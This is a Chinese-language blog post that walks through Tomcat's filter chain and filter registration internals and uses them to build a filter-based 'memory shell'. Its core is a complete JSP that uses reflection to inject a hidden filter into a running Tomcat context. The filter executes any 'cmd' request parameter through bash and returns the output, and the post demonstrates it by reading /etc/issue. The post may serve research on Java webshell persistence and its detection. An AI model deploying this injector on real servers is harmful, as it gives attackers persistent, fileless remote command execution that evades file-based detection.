一、Tomcat处理请求

在前一个章节讲到,tomcat在处理请求时候,首先会经过连接器Coyote把request对象转换成ServletRequest后,传递给Catalina进行处理。

在Catalina中有四个关键的容器,分别为Engine、Host、Context、Wrapper。这四种容器成套娃式的分层结构设计。

接下来我们知道当tomcat接收到请求时候,依次会经过Listener -> Filter -> Servlet

其实我们也可以通过动态添加Filter来构成内存马,不过在此之前先了解下tomcat处理请求的逻辑

从上图中可以看到,请求到达Wrapper容器时候,会开始调用FilterChain,这个FilterChain就是若干个Filter组成的过滤器链。最后才会达到Servlet。只要把我们的恶意filter放入filterchain的第一个位置,就可以触发恶意filter中的方法。

二、Filter注册流程

要在FilterChain中加入恶意filter,首先要了解tomcat中Filter的注册流程

在上图中可以看到,Wrapper容器调用FilterChain的地方就在StandardWrapperValve类中

调试

注册一个filter:

public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
} @Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("doFilter过滤");
//放行
chain.doFilter(request,response);
} @Override
public void destroy() {
System.out.println("filter销毁"); }
}

配置web.xml

 <filter>
<filter-name>TestFilter</filter-name>
<filter-class>test.TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

在doFilter处下断点,访问任意url:http://127.0.0.1:8080/xxx

查看调用链

可以看到在StandardWrapperValve#invoke中,通过createFilterChain方法获得了一个ApplicationFilterChain类型的filterChain

其filterChain中存放了两个ApplicationFilterConfig类型的filter,其中第一个就是TestFilter

然后在下面196行调用了ApplicationFilterChain#doFilter

跟进doFilter方法,在方法中调用了internalDoFilter

跟进internalDoFilter后看到,从filters数组里面拿到了第一个filter即Testfilter

最后调用了filter.doFilter

可以看到,filter是从filters数组中拿到的,看看filters数组是什么,Ctrl+左击

其实就是一个ApplicationFilterConfig类型的对象数组,它的值也就是前面的说的通过createFilterChain方法获得的

接下来查看createFilterChain如何把我们写的TestFilter添加ApplicationFilterConfig

跟进ApplicationFilterFactory#createFilterChain中,看到首先64行拿到了个ServletRequest,然后通过ServletRequest#getFilterChain获取到了filterChain

继续往下看,通过StandardContext对象找到了filterMaps[]

然后又通过filterMaps中的名字,找到StandardContext对象中的FilterConfig,最后把FilterConfig加入了filterChain中

跟进filterChain.addFilter看到,也就是加入了前面说的filters数组ApplicationFilterConfig中。这里和上面一步的操作就是遍历filter放入ApplicationFilterConfig

通过调试发现,有两个很重要的变量,filterMap和filterConfig

  • filterMaps拿名字

  • filterConfigs拿过滤器

其实这两个变量都是在StandardContext对象里面存放了,其中还有个变量filterDefs也是重要的变量

分析filterMaps、filterConfigs、filterDefs

1)filterMaps

既然这三个变量都是从StandardContext中获得,那么查看StandardContext发现有两个方法可以添加filterMap

2)filterConfigs

StandardContext中同样寻找添加filterConfig值的地方,发现有一处filterStart方法

此处添加是在tomcat启动时完成,所以下好断点启动tomcat

filterDefs中存放着TestFilter

遍历这个filterDefs,拿到key为TestFilter,value为FilterDef对象,值test.Testfilter

接下来new了一个ApplicationFilterConfig,放入了value

然后把nam=TestFilter和filterConfig放入了filterConfigs

3)filterDefs

以上的filterDefs才是真正放了过滤器的地方,那么我们看下filterDefs在哪里被加入了

StandardContext中同样有个addFilterDef方法

可以想到,tomcat是从web.xml中读取的filter,然后加入了filterMap和filterDef变量中,以下对应着这两个变量

内存马

我们通过控制filterMaps、filterConfigs、filterDefs的值,则可以注入恶意的filter

  • filterMaps:一个HashMap对象,包含过滤器名字和URL映射

  • filterDefs:一个HashMap对象,过滤器名字和过滤器实例的映射

  • filterConfigs变量:一个ApplicationFilterConfig对象,里面存放了filterDefs

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
} @Override
public void destroy() { } }; FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>

访问:http://127.0.0.1:8080/testF.jsp显示注入成功

执行命令:http://127.0.0.1:8080/?cmd=cat /etc/issue

三、参考:

http://wjlshare.com/archives/1529#0x04_Filter

http://li9hu.top/tomcat内存马一-初探/

https://www.cnblogs.com/nice0e3/p/14622879.html#0x03-内存马实现

最新文章

  1. Autodesk View and Data API二次开发学习指南
  2. eclipse 弹出智能提示、代码自动换行
  3. HDU 5432 Rikka with Tree (BestCoder Round #53 (div.2))
  4. CentOS 修改IP地址, DNS, 网关
  5. spring源码浅析——IOC
  6. 1712: [Usaco2007 China]Summing Sums 加密
  7. jenkins 用户名密码忘记
  8. Java并发编程之synchronized
  9. Cocos2D:塔防游戏制作之旅(十五)
  10. Scrapy爬虫框架第五讲(linux环境)【download middleware用法】
  11. vbscript 语言通过序列和ADODB实现取号不重复
  12. CAP二十年:“规则”变了
  13. Fibonacci Heaps
  14. 配置iis支持json解析,配置ssi
  15. TP 真阳性 TN FP FN
  16. MVC的博客
  17. UITableView+FDTemplateLayoutCell源码学习笔记
  18. zabbix超级乱码解决问题
  19. Builder 设计模式的学习
  20. wifiphisher使用介绍

热门文章

  1. PC+PLC通过Modbus协议构建工控系统
  2. MySql分区、分表和分库
  3. 朴素贝叶斯原理、实例与Python实现
  4. virtualbox linux客户机中安装增强功能包缺少kernel头文件问题解决
  5. vue使用AES.js
  6. vue 中级基础考察面试题
  7. SpringBoot使用注解进行分页
  8. SpringBoot配置文件-多环境切换
  9. 2020.3.21--ICPC训练联盟周赛Benelux Algorithm Programming Contest 2019
  10. git 更新与图形界面